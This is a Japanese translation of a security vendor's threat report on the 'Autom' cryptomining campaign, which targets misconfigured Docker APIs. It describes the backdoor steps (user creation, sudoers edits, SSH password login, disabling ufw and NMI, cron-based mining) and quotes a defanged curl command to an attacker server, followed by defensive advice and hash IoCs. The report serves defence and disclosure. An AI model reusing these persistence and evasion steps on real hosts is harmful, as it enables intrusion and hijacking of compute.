脅威アラート:進化する「Autom」クリプトマイニングキャンペーンの攻撃手法 #aqua #セキュリティ #コンテナ #クリプトマイニング #autom
この記事は1年以上前に投稿されました。情報が古い可能性がありますので、ご注意ください。
本ブログは「Aqua Security」社の技術ブログで2021年12月29日に公開された「 Threat Alert: Evolving Attack Techniques of Autom Cryptomining Campaign 」の日本語翻訳です。
脅威アラート:進化する「Autom」クリプトマイニングキャンペーンの攻撃手法
過去3年間、Aqua のセキュリティ研究チームである Team Nautilus は、ハニーポットを攻撃する継続的なクリプトマイニングキャンペーンを追跡してきました。このキャンペーンは、ダウンロードされたシェルスクリプトが攻撃を開始することから、「Autom」と呼ばれるようになりました。このキャンペーンは、攻撃を隠すための新たなテクニックを披露しながら、年々進化を遂げています。このブログでは、このキャンペーンとその技術、および組織がこのような脅威からどのように保護できるかを検討します。
数字で見る「Autom」キャンペーン
私たちは2019年にこの攻撃を初めて確認しており、バニライメージ alpine:latest の実行中に悪意のあるコマンドが実行され、autom.sh シェルスクリプトがダウンロードされたことを確認しました。ほとんどの組織が公式イメージを信頼し、その使用を許可しているため、攻撃者は悪意のあるコマンドとともにバニライメージを使用して攻撃するのが一般的です。
この数年間、攻撃するために公式イメージへ追加される悪意のあるコマンド自体は、ほとんど変更されていません。主な違いは、シェルスクリプト autom.sh のダウンロード元となるサーバです。
最初の攻撃以来、同じシェルスクリプトを使った攻撃が84回確認されており、攻撃数は年ごとにばらつきがあります。
キャンペーンをMITRE ATT&CKフレームワークへマッピング
私たちの調査の結果、攻撃者はキャンペーン期間中、いくつかの共通したテクニックを使っていることがわかりました。しかし、防御回避のテクニックは進化しています。
2020年には、攻撃者はセキュリティ機能を迂回することで防御を回避していましたが、2021年には、この目的のためにエンコードしたスクリプトを使用するようになりました。
「Autom」キャンペーン:共通テクニック
キャンペーン期間中、攻撃者は同じエントリーポイントを使用して攻撃を開始しています。この攻撃は、設定ミスのある Docker API を悪用するために、脆弱なホストを検索するリモートサーバから実行されます。攻撃者は、攻撃を開始するシェルスクリプト autom.sh をダウンロードする悪意のあるコマンドを使用して、バニライメージ alpine:latest を実行しています。
シェルスクリプト autom.sh の実行後、攻撃者は adduser と useradd の2つの方法で、kay という名前でユーザを作成します。
- adduser は、アカウントのホームディレクトリなどを設定し、ユーザを追加するために使用します
- useradd は、ユーザを追加するための低レベルのユーティリティーコマンドです。
ユーザを作成し、ホームディレクトリ(-mフラグ)と暗号化されたパスワードを設定した後、新しいユーザはサブグループに追加されます。
新しく作成されたユーザは特権を持ちません。これを変更するために、攻撃者は特権を与えるために sudo を使用します。ユーザに無制限の特権を与えるために、sudo がどのように動作するかを制御する sudoers ファイルを変更します。この機能は、ALL=(ALL:ALL)ALL で付与されます。攻撃者はさらに、認証のために SSH サーバへのパスワードログインを有効にしています。
侵入したホストのパブリック IP アドレスを取得するために、敵はドメイン icanhazip[.]com を使用します。次に、この IP アドレスを使用して、リモートサーバ 185[.]164[.]72[.]119 からファイルをダウンロードします(curl http//185[.]164[.]72[.]119/ip.php?ip=$ip)。
上記の手順により、侵害されたホスト上で攻撃者に永続性を与えるバックドアが作成されます。これは、SSH 接続を確立するために必要なユーザ名、パスワード、および IP アドレスによって実現されました。
上記の MITRE のフレームワークにマッピングされた攻撃のキルチェーンは、攻撃者が3年間にわたり同じ戦術を使用していたことを示しています。彼らは同じ初期アクセスを使用し、autom.sh シェルスクリプトを実行し、侵害されたホスト上で永続性を得るためにユーザアカウントを作成し、最終的に攻撃の目的であるクリプトマイニングを達成しました。
「Autom」キャンペーンはどのように進化したのか
攻撃が発見されないようにするための戦術に、キャンペーンの進行が見て取れます。2019年、この攻撃では、クリプトマイニングキャンペーンを隠すための特別な技術は使われていませんでした。2020年、攻撃者は自分自身を隠そうとし、そのためセキュリティ機構を無効化しました。最初は、ユーザがサービスへのアクセスを許可または拒否できるufw(Uncomplicated Firewall)を無効にしました。その後、(通常は回復不可能なハードウェアエラーの注意を促すために使用される)システムのリセットを監視するために使用される最優先の割り込みであるNMI(non-maskable interrupt)を無効化しました。
2021年、攻撃者は新たな手法を追加しました。クリプトマイニングキャンペーンを隠すために、彼らはリモートサーバからエンコードされたシェルスクリプトをダウンロードしました。彼らは、セキュリティツールがスクリプトを読み、その背後にある意図を理解することを防ぐために、base64 で5回エンコードしました。このスクリプトをデコードすることで、マイニングの実態が明らかになりました。
さらに、攻撃者は隠蔽機能を追加していました。これは、log_rotate.bin スクリプトをダウンロードし、侵害されたホスト上で55分ごとにマイニングを開始する新しい cron ジョブを作成することによって、クリプトマイニングキャンペーンを開始させるというものです。
この数年間、このシェルスクリプトは5つのサーバからダウンロードされました。
上のグラフは、2019年から2021年にかけて、リモートサーバからシェルスクリプトがダウンロードされた回数を示しています。2020年のダウンロード回数が最も多かったのは、リモートサーバ 88[.]218[.]17[.]151 で、このサーバは2020年と2021年に発生した他の24件の攻撃でも攻撃者のホストとして使用されていることがわかります。
2021年には、ハニーポットに対する攻撃は減少しました。しかし、Shodan を使用して攻撃を検索すると、攻撃が減っていないことがわかりました。2021年第3四半期には、悪意のあるシェルスクリプトをダウンロードするために同じサーバ(88[.]218[.]17[.]151)を使用した125件の攻撃が野放しになっているのを確認しました。
Aqua のハニーポットに対するこの攻撃の減少は、攻撃者がハニーポットを特定したため、2021年に攻撃の量を減らしたことを意味する可能性があります。攻撃の背後にいるグループは、攻撃対象を拡大し、攻撃を広めるためのスキルを身につけたと思われます。
進化する脅威から守る
今回の「Autom」キャンペーンは、攻撃者がより巧妙になり、そのテクニックやセキュリティソリューションによる検出を回避する能力を絶えず向上させていることを物語っています。組織は常に進化し、姿を変えていく攻撃から身を守るために、脅威の状況を常に把握しておく必要があります。
「Autom」キャンペーンや類似の脅威から身を守るために、コンテナ環境を扱う際には、以下のベストプラクティスに従うことをお勧めします。
動的なコンテナイメージ解析を行う - 動的イメージ解析ツールは、静的スキャンでは検知できないコンテナイメージに潜む巧妙な脅威を検出するのに役立ちます。Aqua DTA(Dynamic Threat Analysis)は、コンテナイメージを安全なサンドボックス環境で実行し、本番環境へプッシュする前にその挙動を分析することで、コンテナイメージ内の悪質な要素を発見します。
コンテナ動作の監視 - コンテナの監視は、問題を迅速に軽減し、混乱を最小限に抑えるための基本的な実践方法です。この監視プロセスは、疑わしい活動(悪意のあるスクリプトのダウンロードなど)が発生する可能性のあるランタイム環境にも適用されます。
今回の「Autom」キャンペーンでは、攻撃者は設定ミスのある Docker API を悪用して、バニライメージ alpine:latest を実行させました。ほとんどの組織では、このイメージの実行を許可していたことでしょう。Aqua の CNDR のようなランタイム保護ソリューションは、ランタイム中に未知の脅威や疑わしい挙動を検出するように設計されています。さらに、Drift Prevention は、ランタイム中にリモートソースからダウンロードされた、元のコンテナイメージに含まれていないファイルの実行をブロックできます。
Docker API が誤って設定されていないか、環境を確認してください。クラウドセキュリティポスチャマネジメント(CSPM)ソリューションは、設定の問題を修正し、全体的なセキュリティ状態を強化できます。
安全でないインバウンドまたはアウトバウンドの通信と、環境内の無制限のネットワークトラフィックを制限する - Aqua プラットフォームを使用すると、ノード、クラスター、およびホスト間で許容されるトラフィックを制御するためのマイクロセグメンテーションポリシーを設定できます。また、ワークロードの実行を許可するために存在しなければならない Kubernetes リソースの設定を指示する、 Kubernetes Assurance ポリシーも設定できます。
IoC表
Autom.sh
- Md5 c5968e2332b488076f592535c0be2473
- Md5 87e4701ccb615adc2abc82d9282d65a1
- Md5 87e4701ccb615adc2abc82d9282d65a1
log_rotate_bin
- Md5 fb1fde1f28b2743b0f4cbb60609df95a
- Md5 1a882366d180331e5ffcb973719312d9
- Md5 ced5e2d876e8264beeade2efca075f09